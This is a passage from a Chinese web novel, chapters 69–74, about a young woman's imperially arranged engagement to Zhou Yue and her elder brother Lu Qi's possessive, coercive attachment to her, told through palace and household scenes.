“我,”眼泪多得擦都擦不完,陆念安干脆不擦了,不争气地呜咽起来:“可,可分明是哥哥教阿念长大以后要保持距离的。” “让阿念听话些怎么没记着?”不知想到什么,陆祈垂下的手抵在桌案上,俯身将她圈住:“那阿念又想要让谁来心疼?” 他不疾不徐地道出周越二字,神色深沉:“不然怎么还特意来给阿念送药?” 桌案很高,局促在由兄长带来的逼仄空间中,看不清如何光亮。陆念安避无可避,不明白他忽然提旁人做什么,恼道:“反正就不要你!” 摩挲在她足上的力道一瞬加重,陆祈垂下眼眸,遮掩住眼底冷意,一字一句道:“不要?” 他看着她因为抗拒而落下的泪珠,从脖颈滑落隐入衣中,视而不见:“哭得真可怜,可从前往哥哥怀里扑说着喜欢时,可不是这副模样呢。” 在怎么迟顿,陆念安也察觉到他真的生气。 她缩成一团,巴掌大的脸上已挂满泪珠,可怜巴巴道:“那也都从前了,是阿念以前不懂事,而且都过去了……” “而且,”不知想到什么,她又往后缩了缩,才闷闷道:“而且你都拒绝阿念了。” 虽然还是要感谢哥哥的拒绝。 她的确很不懂事,无意拆散了他的姻缘,更害得他被赶去塞北…… 这两年陆念安心态成熟了不少,开始能分辨什么能做,什么不能做。 可这些也都是哥哥教她的啊,她分明就很听话的……他为什么要生气,为什么要欺负她? 陆念安越想越难过,抽抽搭搭又哭起来,可眼泪也无用,再也回不去以前,她没有哥哥了,他也不会哄她。 心脏一抽一抽的疼,她低下头呢喃一声:“真的不能和好了吗?” 书桌后紧挨着花窗,窗外雨势已彻底平息,只有顺着屋檐落下的雨珠,还在嘀嗒、嘀嗒。 陆祈压在桌案上的指骨微颤,收回手来,他捧起她的脸,触到一片湿濡,轻叹息一声:“你总是最知道怎么让我心疼。” 不论是两年前,亦或是现在。 身为兄长,该依得不该依得,他都顺着她。 陆祈放缓力道替她擦去眼泪,恍惚间,就仿佛方才置身事外般冷漠的人不是他。 陆念安湿濡的睫羽微颤,“那我们是和好了吗?” 他没有回答,只是捧着脸颊,一言不发地替她擦去眼泪。 直到重新看见那对澄澈的眸时,他指腹滑落,压在她肿胀殷红的唇上,淡声道:“阿念,是你先不乖的。” 第70章 第七十章 不乖? 雨后被洗刷的清润院子里,隐约能瞧见高树间的海棠果,被暖阳静静笼罩着,一派平和。 静靠在榻上的陆念安却无心欣赏,迷迷糊糊揉了揉眼。 她才不觉得自己有何不乖呢,陆念安只感受到几分陌生的无奈。 她鲜少会生出无奈这般情绪。 她从来都是令兄长感受无奈的妹妹。 不论是少时幼稚到将药偷偷倒去、或是在冬日因为想赖床故意装病求可怜求心疼、写不完功课就偷偷躲起来哭…… 怎么会,恍然间变得这么混乱了。 无措间,耳边传来细微地“吱呀——”声,身后半合上的门被人轻轻推开,秋菊跟着走近。 日光倾斜散入,泄了一地暖亮。不比昨日阴霾,今日是个好天气,秋菊走到一侧,顺手将花窗也支起来,才侧眸看向榻边。 躲在屏风后方的陆念安只剩下一个模糊的影,懒懒倒在榻上,活像是没骨头般懒散。 秋菊不得不疑惑着走近,用手背探了探她额上温度后,更疑惑了:“分明也没发热,小姐可还是头昏?” 王太医开得药最是管用,往常若有何不适,几碗药下去也该好了多半才对。 怎么瞧着却比昨日还不对劲,秋菊板着张脸凑近看,视线扫过小姑娘纤长的睫羽,湿润的眼眸,泛着红肿的唇瓣…… 陆念安扯过薄毯默默将自己遮住,只露出一对湿润的眸子来,眨巴眨巴的。 “咬破了?”秋菊皱起眉,替她将薄毯扯下来,严肃道:“小姐这毛病不是都改掉了吗?” 陆念安一紧张就喜欢咬唇,这习惯从前更甚,唇边时常泛着红,大了些后才改掉。 叹气一声,秋菊有些操心地走到高柜旁翻找药膏,嘀咕着:“怎么还和小时候一样,不是磕着就是碰着,前些天腰也是磕到了,红了一片,上了好些药才好……” 秋菊不过也才二十出头的年纪,随陆念安一起在内宅长大,连外男都未见过几个。但她性子却是稳重,要比旁得丫鬟都细心。 更养成了爱操心的脾气。 指沾药膏替陆念安上完药后,秋菊将瓷瓶放下,忍不住又道:“若日子定下来,那算一算小姐可就是待嫁的姑娘了,以后可不能这般不稳重。” 毕竟周家在怎么说,也是皇亲国戚,而大户人家里需注意的太多…… 陆念安呆呆指了指一旁的瓷瓶:“秋菊还替我上过药吗?” 正忧思未来的秋菊回过神看向她:“我还想说小姐你呢,怎得磕着了也不说?” “我……”不知想起什么,她明显有些闷闷不乐,片刻后才撒娇一句:“因为我生病了嘛,好难受的。” 病中之人没什么精气神,见她这般,秋菊未多说什么,照例将药端给她。 这一病便静养了三日。 虽才只三日,陆府内却也发生了不少改变。 养好精神后,陆念安被叫去了躺千山宛。 初夏里日头好,午后,陆夫人正在花园晒太阳,身后跟着的两个丫鬟各手拿一把团扇,在替她扇凉。 瞧见陆念安走近后,陆夫人抬了抬手,跟在身后的两个丫鬟便悠悠收了团扇上前,齐声道:“小姐好。” 一路走来,陆念安已见到了不少陌生面孔。 现下见陆夫人身边的丫鬟也换了新,仍有些怕生的她退后一步,才点头道一声好。 “来念念,”陆夫人语气热络,将陆念安带到自己身旁:“这两个丫头瞧着可顺眼,替她们赐个名如何?” 陆念安有些疑惑地抬眸。 陆夫人语重心长:“要取念念喜欢的名字。” 这几日陆府内的新面孔,都是陆夫人特意寻来的丫头,是要养在身边调教些时日,在送给陆念安的陪嫁丫头。 “还有,待会儿呢云绣娘要来一趟,你便去挑些喜欢的料子和绣纹,珍意轩的师傅说是也要来,这几日将风冠的打样赶出来了,你呢也只管挑喜欢的花样就好……” 陆夫人滔滔不绝个不停,陆念安本还认真听着,片刻,她神色迷茫,闷声道:“……我好像已经有些乱了。” 她虽是年轻姑娘,记性却不太好的模样。陆念安皱着眉回忆方才,都快有些记不住了,只好抬眸,商量道:“还是先替她们取名如何,一桩一桩来好不好。” 但说回赐名,陆念安也很是犹豫。 对她来说,取名并不是随随便便的小事,若是随意了,总觉得有些遗憾。 于是苦思冥想也没想出个好听的,陆念安板着小脸坐下,低下头继续沉思。 沉思间,有和煦的风从一侧吹来,满园子花发出簇簇声响,同样吹乱了她素净的裙衫、环绕在乌发上的鹅黄色丝带跟着飞舞散开。 被这风拂过的周遭竟也安静下来,带来一丝熟悉的淡然。 眼皮一跳,陆念安抬眸,就见迎面走来的寡淡人影,身形修长,正平和地看着她。 风停了,飞舞在空中的鹅黄色丝带摇摇欲坠下落。 陆念安闷闷别开眼,与此同时,陆夫人的声音落下:“祈儿你来的正好,正巧你妹妹就缺个人替她做主呢。” 他语调中带着浅薄的笑意:“做主?” “我是想着等婚期定下来再准备就晚了,”陆夫人抿了口茶,疲倦地垂下眸子:“昨天给念念挑了几个陪嫁丫头,却是还没取名。” 不过三日,平静了多年的陆府,因为一道诏令转而热闹起来。 从宫中回府,随处可见丫鬟小厮面上的喜色,置办的布料、碗碟、首饰等也正一箱一箱地往库房堆。 陆夫人为此忙上忙下,连歇息的时间也没有,却仍有许多未准备。 光是嫁妆就还有许多要添置的,更别说还有送行时分发的喜糖等零碎物件。 寻常来说,这些东西都不能敢急,是要慢些备至,一点一点地攒起来……陆夫人揉揉额,抬眸看向沉默不言地陆祈,埋怨道:“原以为祈儿你是个稳重的,可既管了北院这么多年,怎连嫁妆都没替妹妹想到?” 陆夫人本已经不管事了,还是前些天去库房一瞧,才觉空空荡荡完全不像话。 不怪她气愤,整个上京怕是也找不出一户订下婚事后,才开始备至嫁妆的人家。 一阵牢骚过后,却也没等到陆祈的回答。 暖阳下,素净身影垂手而立,带着几分置身事外的清冷,垂下的眼帘遮住眼底晦涩,整个人越发看不真切。 陆夫人一时更气。 自古以来,都是权势越大处事越无情,现下能不管不顾妹妹,没多久怕也是亲生母亲都不当回事。 “夫人是一累就多虑,”陈嬷嬷赶忙上前安抚,知道她心累,顺着道:“那便让公子陪小姐挑嫁衣,夫人先进屋歇歇如何?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 第七十一章 陆夫人走后,余下两个小丫鬟被留在园子里。 已经知道今后的主子是谁,于是两个人有些期盼地看着陆念安,还等着她将名赐下认主。 “……” 日光透过树丛落下一片斑驳的影,寂静下来后,知了的声音在白日也变得明晰,在这样的天气晒晒太阳,本该是扫除阴霾的。 整个园子怕也只陆念安还在苦恼,一时想不出来,片刻后,她试着开口,一边抬起眸子:“明日再赐如——” 话还未完,发现方才还站在面前的两个小丫鬟竟,不知已离开了。 而半空中,了了绿叶正环绕着长袍飘落至一侧,她目光因此撞进对冷清的眸中,像生生被凉水沁润着。 陆念安退后一步。 大病初愈,她精气神其实算不上好,露出的纤长脖颈在光下白的莹润。 纤柔怯懦的孩子,总是格外叫人放心不下。 陆祈看向他的目光柔和下来,语调难辨:“阿念紧张什么?” 是啊,紧张什么呢? 在往前数十年的回忆中,对最依赖的人生出恐惧,好像绝无可能。 陆念安摇摇头想要解释,修长高大的身影逐步逼近,带着侵略的视线落下,一瞬间令她动弹不得。 两个人过于悬殊身形差距,让陆念安在陆祈面前,从来都没有半分反抗的可能。 她明显有些慌乱,像是害怕他又做出什么可怕的举动来,琥珀色的瞳间染上一层失措。 那只落在半空的大手因此顿住,沉默两秒,最终只是落在她的乌发上轻抚了抚,他淡声发问:“赐个名就这般难吗,哥哥到是未想过,阿念会这般重视。” 她苦恼的模样,捏着衣袖琢磨的神色,连眼尾都焉焉垂下,若不了解原委的人见了,大抵会以为她遇上了什么难事。 他的阿念,自幼连身边之事都鲜少操心的阿念,唯一烦恼是明日如何玩乐的阿念,不知不觉间,也到了为婚事忧愁的年纪。 抚在她发上的大掌缓慢移动,在陆念安分明的抗拒下,陆祁轻触上她的脸侧摩挲起来。 “那阿念挑嫁衣时也会烦恼吗?”指腹滑过娇嫩的肌肤,感受到她因为紧张而轻颤起来,陆祈忽得笑了:“偶然间闻绣制嫁衣时的云纹繁多,凤凰、鸳鸯、牡丹、祥云……阿念会喜欢什么呢?” 准备嫁衣并不是一件简事,女子怀揣着对婚事的期盼,大多在及以后,便由家里人着手备至嫁衣,若绣工好的姑娘家,也会亲自替自己缝制花样。 陆念安没学过女红,这般精细之事也从轮不到她亲自来。 唯一烦恼的……大抵还真是选制绣纹了。 他真的太了解她了。 在除却血缘以外的地方,他们早已交融成密不可分干系,不是嘴上说说便可轻易断绝。 陆念安别开脸:“那哥哥不能帮阿念挑吗?” “我们阿念生得这般好,大抵是穿什么都好看的。” 说这话时,他神色尤为纵容,看向陆念安的神色,像在欣赏这世间无二的瓷器。 这话当然不假。 褪去掉青涩,阿念长成了任何人都会喜欢的模样。红色也会称她,不论绣上什么花纹,都该是好看的。 可这般艳丽的红色,又要穿给谁看呢? 沉思间,指腹无意识擦过殷红的唇瓣,陆念安疼得轻哼了声,杏眸间因此染上一层湿濡。 刚要抱怨一声,余光中瞧见秋菊从身后走来。 初夏的午后,柔和日光沐着花园,秋菊沿着青石板路靠近,抬起眸,望见兄妹两如此亲近后,有片刻怔愣,才想起自己要说些什么。 她语调中带着遗憾:“小姐,方才绣阁的人来递话,说是有几个花样还未绘好,云绣娘今日也来不了了。” “这样啊……”陆念安小心翼翼地退后一步,瞧见陆祁未有动作后,又一点一点挪到秋菊身后。 萦绕在周身的,带着浓厚侵略的气息终于消散,就像是找到了主心骨一样,陆念安紧紧捏起秋菊的袖子:“那我们回去练琴吧秋菊。” “练琴?小姐何时……” “快走吧秋菊。” 一路走回院中,站在树荫之下,有些泛凉、被兄长触过的脸,却是炙热的。 陆念安难道有些恼得看向秋菊,委屈道:“秋菊怎么忽得丢下了我。” “嬷嬷说绣阁的人来了,我这不是赶着去接云绣娘,哪成想云绣娘没来,一问才知是花样还没绘制完,耽搁了。” 秋菊解释了声,有些疑惑:“不过有公子陪着小姐,小姐还能想着秋菊?” “我何时忘过秋菊?”听到这话,陆念安一时更恼了。 秋菊看向她的神色变得复杂,犹豫道:“从前是从前,小姐现下可是大姑娘了,的确不该像从前那般黏着公子。” “像方才那样也不行,”秋菊语气振重:“府上丫鬟们都知小姐同公子关系亲近,但毕竟外人不知,小姐如今是待嫁的姑娘,若被有心人瞧去,指不定怎么说呢。” “为什么就不能是哥哥粘着阿念呢?”陆念安有些委屈地反驳。 “……” 秋菊看向她的神色从复杂转为无奈,叹一声气:“小姐你呀,公子粘着小姐干甚,难道还要小姐照顾吗?” 他们不在需要对方的照顾,亦不该有半点亲近。 及笄以后,哥哥从来都是这般教她的,朝夕相处的亲密也随着长大逐渐变得浅薄。 而在长达两年的冷静期里,亦让陆念安深刻的明白,这世间不只有喜欢,亦有千种万种的依赖。 对哥哥的喜欢也是依赖。 可秋菊说得没错,兄长却不会依赖她,也从不需要她的照顾。 那现在呢? 哥哥是在依赖她和喜欢她吗? …… 陆念安从来都知道答案。 知晓他平静神色下的冷漠,不论何事都游刃有余的处理。 而在十年如一日的兄妹关系中,他同样有分寸。 于是每一次亲密,对陆念安来说,都更像是惩罚和教训。 幼时第一次提剑,她只会毫无章法地胡乱动。 兄长将她的混乱尽收眼底,再慢慢带着她,手把手教她要如何用力。 当然也会有惩罚。 偶然一次将软剑仍在地上以后,陆祈替她拾起来,那一日清晨,她手拿软剑靠墙站立了一个时辰。 整个童年,也伴随着不大不小的惩戒。 哥哥说,他会惩罚不够乖巧的孩子。 他的确做到了。 长大以后,陆念安逐渐明白当年在哥哥订婚之际,她做出的举动。 有多么令他困扰。 * 离赐婚已过去小半月,按理来说,是要将婚期定下来了。 陆夫人私底下已经开始看日子,通书和二十四节气皆被翻了个变,但还是要等正式交换完生辰庚帖,才好去做抉择。 两家人便挑了下月初的时间见一面,也算是正式将婚事定下来。 本该是私底下商议的小事,但周家到底是特殊,订婚一事放在明面上来,免不得又要去宫里一趟。 却丝毫没给人准备的时间,初一那日一早,忽得就收到从宫里递来的帖子,说是周家已经等着了。 这样寂静的清晨,陆念安甚至还未醒来,便被刚回来的秋菊着急忙慌地唤起梳妆。 从陆府到宫里的路上,陆念安困倦地又眯了一会儿,下了马车后,后知后觉有些紧张起来。 也许是皇宫太大了,走到这样宽阔的宫路上,总令人生出一种怯懦来。 越往里走,陆念安越是寻到几分将要嫁人的真实感。 “不要怕,”陆夫人拍了拍她的肩,安抚声:“我当年从清州嫁来上京时,也有些不适,后来到是发现……” 陆夫人柔和的声音渐渐抚平她心间的胆怯,陆念安呼出口气,对未知的恐惧消散些许。 姐姐说,许多女子在出嫁以前,都是没有机会见夫君一面的。 而认真想想,她也算是幸运了,就算没有皇上赐婚,周越也会是她自己挑选的夫君。 和他相处时,虽没有同哥哥在一起时放松,可她会觉得很舒服。 大概也算是喜欢了? 陆念安很快被自己说服,她太容易满足了,不过只是想到这一点,便眉眼弯弯地笑起来。 正安抚她的陆夫人瞧见,语调一转,揶揄道:“念念,我可是还多嘴了?” 穿过红漆长廊,挂着长乐宫牌匾的宫殿,正是皇后的住所。 小丫鬟上前领路,推开厚重的朱红色木门后,便悄然退下。 迎面是一池的荷花,花苞舒展开,在盛夏中静静绽放着动人的生命力。 池塘旁的小亭里,皇后皇上随和坐在一侧,紧挨着两人而坐的是周二夫人和周越。 今日没那么多规矩,周家妯娌之间关系不错,皇后一直是唤周二夫人婶婶的,对周越这个好不容易找回来的堂弟,自然也要多照顾几分。 一家人正聊到兴起,余光里瞥见陆念安的身影,皇后主动开口,语调有些惊喜:“这就是念安了?” 她慢悠悠湛了两杯茶,缓声解释:“前些年随他兄长来宫里时,我也瞧了,小姑娘那时还有些稚嫩,现下一看,真是出落的越发亭亭玉立了。” 说话间,陆夫人带着陆念安也已经走近。 来时已交待过她该如何唤人,可开口时,陆念安仍有些胆怯。她太怕生了,更别说在一群长辈面前保持落落大方。 感受到众人落在身侧的,包含期待地目光后,陆念安更是紧张,有些无措地抬起眸。 一眼瞥见侧坐在斜对面的周越,正鼓励地看向她。 他有着书生独有的温润,不笑时轮廊是柔和的,浅笑起来更甚,同他相处时,的确很舒服。 不知怎得,陆念安心头地紧张少了几分,开口时也没了胆怯:“皇后娘娘、二夫人……” 她只是按规矩开口,话音刚落,皇后同周夫人却齐声夸赞:“你看这孩子生得真乖巧。” 深宫之人,面子功夫最是了得,最后将陆念安夸得都羞涩了,皇后这才止住,目光落在一侧:“可算是等到你兄长了。” 这时好像才算是真正开始议论婚事。 陆祈没什么表情地走近亭子——临时宴请,他显然也未提前知晓,方从尚书府赶来,周身气势疏冷。 好在一同共事多年,皇上都已习惯他这个态度,随意道:“陆爱卿坐。” “陆大人坐,”皇后命身后的小丫鬟拉开圈椅,眉眼喜悦:“那让越儿带念念去一旁看看如何?我这长乐殿里没旁得,就花儿好看,年轻人嘛,多走走多逛逛赏赏花也好。” 父母之命媒妁之言,长辈们订下的日子,从不需同小辈们商量。 而趁着这个时间,让两个人赏赏花,也算是相互熟悉了。 在陆夫人的默许下,陆念安有些犹豫地起身,同周越一同往外走。 两人今日皆身着蓝衣,从亭中往外看,一浅一深交融在光下,少女倩丽,一旁的男子温润柔和,并排走往前走时,相配极了。 缓步走下台阶,也像是缓缓从陆家脱离。 第一次同旁人赏花的陆念安带着无措,还是没忍住回眸看了一眼。 明晰光亮斜斜透进亭子里,落下一片暖意。 亭中氛围和谐,有皇后打圆场,将陆夫人哄得笑起来。 同样沐在光下的绯色身影显得格格不入。 陆祈不动声色地侧眸看向她,狭长的眼眸寡淡,亦将两位年轻人心照不宣的默契,一同收入眼底。 第72章 第七十二章 皇后娘娘的长乐宫里,光是在园中里侍弄花草的丫鬟便有数十人。而夏日里干燥,天气越来越闷,侍弄花草的小丫鬟会更为细心地去照料茉莉。 走过青石板小道,莹白色小花连绵成一片,在渐热的夏日里,散出清雅的香气。 茉莉花丛的一侧摆着张石桌,带路的小丫鬟将两人领到此处后,又细心地端来一壶白茶,才退至到后方。 花园里静下来,被刻意留在此处的陆念安眨眨眼,一抬眸,就见同样神情的周越也正巧抬眸看着她。 “……” 视线相对,陆念安显得紧张,默默又将头低下来。 从前同周越也不是没有这般近距离的接触过,在医馆或是绿坊街,又或是他们上月端午才一起看了龙舟。 但心境却完全不同,此刻对坐在一起,陆念安生出几分不自在。 就好像是原本很好的朋友,忽然要以另一个身份重新和她认识,她该要如何反应呢? 没等她琢磨出来,周越浅笑着主动开口:“那日的话本,陆姑娘可有看到想要的结尾?” 聊起话本,陆念安可就没了不自在,顿了顿,闷闷道:“看是看到了的……但我没想到瑶瑶从未去过仙界,自始至终,这些故事竟然只是她的一个梦。” 陆念安本还很期待成为仙子的瑶瑶回到人间,可越往下看越失望,转而道:“今日有些急促,等下一次见面,我会将话本还给你的。 ” “不急,若陆姑娘不介意,我书房内还有些话本,陆姑娘在挑些喜欢的?” “可以吗?”听见这话的陆念安一时有些欣喜,触在茶盏上的指尖微动,却一个不小心将案上精巧的紫玉茶盏打翻。 极轻地一声响,盏中白茶被泼洒倒地,好在草丛足够柔软,那紫玉盏只是滚动了半圈,并未碎开。 长乐宫内奢华,随意摆在外的茶盏也并非凡品,若只是逛逛园子便将主人家的东西弄坏,实在有些没礼。 陆念安便带着些歉意地蹲下身,未曾料也有人抱着一样的想法,于是她伸手去够那茶盏时,最先触到的不是紫玉,而是周越泛着温热的骨指。 在此以前,陆念安从未同除了兄长以外的男子接触。 周越的指骨不如兄长那样阴冷,陆念安一顿,像是被烫了一般,后知后觉收回手。 比起她的慌乱,周越笑了声,他重新拾起那茶盏放回原地,轻描淡写道:“那我便托人将那些话本子送去陆府,陆姑娘挑些喜欢的留下,若是有不喜的,随意处置也好。” 指尖仍残留着那股灼热,陆念安怯生生点头,这一次,平静了些许:“谢谢你……” 她语调很软,周越下意识摩挲了瞬指腹,拿起一旁的紫玉壶,重新替她斟了杯茶,“昨日听堂姐提及,长乐宫的白茶刚从岭南进贡而来,陆姑娘试试?” 本在出神的陆念安听见这话,忙抬起手去捧那茶盏,匆忙间,指尖擦着他指骨而过。 又,又碰到了?灼热感加重,她近乎无措地抬起眸。 那样水润的眸子,黑瞳像是琥珀色宝石,稍有些光亮落下来,眼中熠熠的光辉便澄澈而剔透。 而此刻,她眸间又被染上一分惊恐,像只受了惊吓的小兔子一样。 周越放下茶盏,忽得有些忍不住笑意。 “哈哈——” 刚冒出这个想法,有笑声从身后传来,爽朗极了,将花丛一侧美好的气氛残忍打破。 距离茉莉园几步之遥的廊下,大皇子站在一侧,见两个人齐齐转头,才收了些笑意。 他无意打扰,本是想去亭子里瞧瞧,偶然路过此处,偶然见到这一幕,一时未忍住,没想到惊扰了两个年轻人。 眼瞧着气氛已经转变,大皇子叹一声:“白茶好像要凉了,唉,本王还要去前方看看。” 大皇子有个胞弟,自有了弟弟以后,他同皇后的关系便算不上好了。 今日还是大皇子近年来,唯一一次主动踏进长乐宫的殿门。 陆大人妹妹的婚事吗? 那个屡试不爽要赶回去看妹妹的借口没了,他还真有些好奇。 对长乐宫还算熟悉,走过青石板小路,大皇子很快来到方才的亭子。 走近时,亭中,两家人正巧交换了庚帖,写有生辰八字的红纸被放置于一起,薄薄两片,被压得严丝合缝。 “父皇,母后,”他缓步上了台阶,张望了眼后,心中对这桩婚事有些底,开口道:“方才走来时见到越儿和念安妹妹了,果真是郎才女貌。” 不只是郎才女貌,周家同陆家配一起,一个天子近臣,一个皇后的堂弟,他父皇打得注意,还真是直白。 不过偶尔也要多说些父皇爱听的话,大皇子稍加修饰后,再度开口:“瞧着两个人相处和睦,越儿替念安妹妹斟茶,念安妹妹也欢快地接过。” “是吗?”听见这话,最为欢喜的要数周夫人了,当即问道:“除了斟茶呢?越儿可还有好好照顾念念。” 周越是好不容易被找回的独子,经久重逢的孩子,总是令人心疼和担忧。 借着今日这个机会,周夫人看向一侧的陆祈,歉意道:“陆娘同我说过,念安被兄长养得精细,我们家却有些疏忽,从前没人教过越儿什么,若相处时对念安有什么不妥之处,我回去定会教导越儿的,往后也会让越儿好好疼——” 沐在光下的陆祈,随意拿起至于桌案上的庚帖,长指搭在薄弱的纸片上,他不疾不徐地打断这话:“周夫人多虑了。” 在周夫人饱含担忧的叮嘱之下,他一句多虑了落下,便再无其余解释,语调是近乎薄情的寡淡。 别说周夫人尴尬,连陆夫人都不明白他是闹一出,面上笑容险些挂不住,讪笑了一声。 皇上和皇后娘娘可是还在此处,亭中气氛已被搅得有些微妙,陆祈却仿若感受不到,搭在庚帖上的长指轻叩:“这般大的姑娘了,若连喝盏茶还需人斟,却是我这个兄长的不是了。” 忽得一顿,将红纸叠起,陆祈开口:“将阿念叫来瞧瞧,若伤了腕可如何是好?” 第73章 第七十三章 他语调很平,听不出什么情绪来。 便叫人更难以揣测他的意思,只有站在后方的青竹神情微动,犹豫着仿若真的要转身去将陆念安叫回来。 陆夫人放了茶盏,皱起眉:“他从小就管念念管得严,这个性子也不知道收一收,怪不得这几日念念还闹脾气呢。” “闹过脾气?”周夫人笑一声:“那我回去可要好好叮嘱越儿,念安到底比他小几岁,不论是现在还是以后可都不能欺负人家姑娘。” 一池荷花随着微风晃荡起来,亭中凉爽,太监福德捧着红木托盘踩上台阶,尖声开口:“回娘娘的,这是大吉呀,小的方才将庚帖拿去给素然方丈看了,说是这几个日子很不错……” 两人的庚帖还有些讲究,全无一处相克。 但方丈却道,越是这般越需注意的地方就不少,好比这婚期只能选在五和十之间,五行相克相生,十意为圆满,若两年一期,便更为上乘。 “那可真是喜事一桩呢,”周夫人有些高兴,侧眸看向陆夫人:“陆娘你觉得如何?” “……”陆夫人跟着大家伙笑了笑,神色却复杂起来。 八字能这样合,的确是喜事一桩,却也有些难办。 陆夫人原是也看好后半年的日子,但挑得都是腊月里,若是今日定下来十月,那也太仓促了些,还有许多东西都未置办。 可若是今年十月的日子错过了,以两年一期则算,是又要等到后年了,能多留两年念安她没意见,可瞧着亲家母同皇上这个态度,好像还有些难办…… 思量了会儿后,陆夫人心下已拿了注意,嫁人到底是件大事,她面上不显,笑道:“五月的日子是还不错,春天好啊,我们念安最喜春天的,从小就爱侍弄那些花花草草,前些日子还同我念叨说园子里花败了可惜,我若是将婚期定在春天,添一些花当陪嫁的,她也是开心的。” 周夫人瞧着有些惊喜:“那可是巧了,念安这脾性到和皇后娘娘一样,娘娘也可喜欢侍弄花了,上月还赐了不少来周府,叫什么来着,一年四季都开花呢,若念安喜欢,我改名儿定要送一些给她。” “上回拿给回去的是蓝盈绣球,除了蓝盈绣球,我这而其实还有好些花也长开不败,”皇后娘娘悠悠接过话头:“哪里还用等到什么春日,念安想哪时看便哪时看。 ” 周夫人点头:“对,就是蓝盈绣球,瞧我也不会照顾什么,枯死了好些花,好在念安喜欢侍弄,我想着那园子还可以再种些绣草和鸢尾,搭在一起颜色鲜亮,定是也招人喜欢……” 后宅里说话从来都婉转,陆夫人已经有段时日没接触过了,当下听着耳边的一来一回,心里如明镜一般,算是依稀知晓了周家的意思。 换位思考,陆夫人其实也能理解周家人的想法。 毕竟若是替祈儿娶妻,她当然也是希望越早越好的,只是女儿家到底不一样的,不论从哪个方面来说,都是万万仓促不得的。 顿了顿,陆夫人伸手稔起托盘上的红纸,直言道:“亲家母和皇后娘娘,我本是较为看好明年的日子 ,但日子特殊,素然大师既都这般说了,我才想着往后挪挪。” “都知道夫人您疼念念,舍不得念念也属实正常,”皇后一边唤来福德,一边解释:“但念安既同越儿相处的这般好,拖个两年可甚是可惜呢,若是两人愿意,就算是年底,又何乐而不为呢?” 一言一语间,福德很有眼色地将拿庚帖拿去给皇上看:“瞧瞧,皇上您觉着什么日子不错?” 亭中安静下来,见皇上接过庚帖,本还想说些什么的陆夫人也只能息声,抿了抿唇有些担忧。 两年前岭南接连不断的雨停了后,也是素然大师提议要放花灯祈福,自那以后,皇上便将人留了下来好生招待着,对他很是信任。 几乎没有犹豫的,皇上接过庚帖,道:“依朕来看,这十月的日子就很不错。” 皇上没有细想,也不明白两家人在讨论些什么。 毕竟周家同陆家的婚事,毫无疑问是越早越好,等陆祈妹妹嫁去,两家人成了亲家,正巧还能让陆祈带一带周越,往后若有两位忠臣替他操劳,他在也不必在担忧了。 光想想都是美事一桩,皇上满意地点点头,看向陆祈时大方的承诺:“陆爱卿不必害怕仓促,既然是朕赐下的婚事,朕便不会亏待了你妹妹,等婚期定下,朕隔日便吩咐礼部备至些嫁妆……” 光是赐婚好像还不够,皇上洋洋自得地又道:“等你妹妹诞下子嗣,两家人安稳后,朕还会再赐些宝物的。” 天子诺言,自该诚惶诚恐地谢恩。 话音落下,皇上看着陆祈,静等他的反应。 此刻亭中静谧,日光倾斜移动,红柱跟着倒下一片影。 陆祈抬眸,眼中散出凌厉漠然的寒光,极少有人敢直视天子,这样的目光,令天子也有些胆怯。 似是回忆起什么,皇上不悦地移开目光:“陆祈,你可是在忤逆朕?” 这已不是第一次给陆家赐婚。 像两年前的花灯节,公然宣召而赐下的婚事更为隆重,最后却不欢而散。 至今也没有谁敢一而再再而三的抗旨。 被臣子的眼神吓到,不悦中皇上也自觉没脸,于是横眉皱起,狠狠将手中的茶盏往下一摔,就要训斥什么。 比起他的震怒,静坐于一旁的陆祈重回平静,就仿若方才眉眼间溢出的凌厉是错觉一般,他淡声解释:“回皇上,我只是同家母的想法一样,婚期若定在年底,难免仓促。” 这样的解释实在正常,为自己妹妹的婚事着想,也不过是人之常情。 皇上颤了颤指骨,方才未说出口的训斥,在冷静下来以后,更加没有机会了。 陆祈早已不是两年前,可以随意惩戒,随意打发去军帐中的陆祈了。就算真的又退下这桩婚事,只要他手中还握着塞北的军卫一天,便绝非两年前可比。 可若就这般平息了事,面上难免有些无光,顿了顿,皇上语调一转:“要朕答应你也不是不可,朕听闻浅西的瘟疫盛行,夏日里日头烈,若再不控制了,便是该扩散了,可朕找了许久也未找到合适的人选,朕派你去浅西,等你治瘟回来,婚期便应你们陆家的。” 自古以来,治瘟一事可不是什么好差事,像陆祈这般正得重用的大臣,怎会轻易被派去浅西。 不过是明升暗贬的敲打罢了。 婚期一事就这般不欢而散,等几人离开后,连来时很欢快的陆夫人都有些不太高兴,对陆祈抱怨道:“这皇上也太急了些,不知道的还以为是我们家拿念念联姻呢。” 陆祈并未回答,吏部内还有许多事未曾处理,他转身离开了长乐殿。 见状,大皇子也抬步追上去:“本还好奇等念安妹妹嫁人后,你这个成天以不放心幼妹为理由推辞掉各种宴席的兄长该如何,现在看来,这理由到还能用两年。” 陆祈闻声侧过头,语调冷漠:“阿念何时多出你这个哥哥了?” 沿来时路穿过长廊,一墙之隔的右侧,长乐殿厚重的朱红色木门正大开着。 陆祈轻扫了眼,却转身朝左侧走去,径直穿过青石板路,独属于茉莉的清香当即散开。 大皇子有些疑惑地跟上去:“诶,不是去吏部……” 话音未完,视线开阔起来,一眼便瞧见置身于茉莉园中的两道身影,大皇子忽得息声。 两人之间的那股局促彻底消散,只是不巧,才刚熟悉不久,却另有丫鬟上前打断了两人。 方才亭中的不欢而散显然也影响到了这边。 听见小丫鬟说要回府以后,陆念安显得有些茫然,却极乖巧地起身便要走。 浅蓝色身影被光影虚化的柔和,静坐太久,忽得起身,陆念安还有些头昏,踉跄了瞬,好在身旁的周越很快扶起她。 大皇子忍不住感叹:“不过念安妹妹确实生得体弱,光是王太医请出宫的马车,本王都碰上过几回。” 站在光下的两人此刻相隔很近,扶起陆念安后,周越看向她的眉眼有些忧思。 旁观者清,见到这样在意的目光,大皇子摇摇头:“本王这个堂舅算是栽了,好在以后有人替陆兄你照顾妹妹了,你这个当哥哥的,总该放心了吧?” 长乐殿内,随处可见宫女,只是不起眼的茉莉园内,便守着七八个丫头。 似乎都知道眼前这对男女的关系,于是无人上前,反而笑着看向两人,默许两人的亲密。 少年少女一触即逝的触碰落在明晃晃的光下。 陆祈看着眼前近乎刺目的光晕。 只有兄长对妹妹的关切,反而成了枷锁,只能藏在深不见底的影中,容不得一丝光亮。 第74章 第七十四章 宫女们的态度从来时到现在,好像都仍未变过。陆念安顿了顿,心下不知为何,总是能感受到一丝怪异。 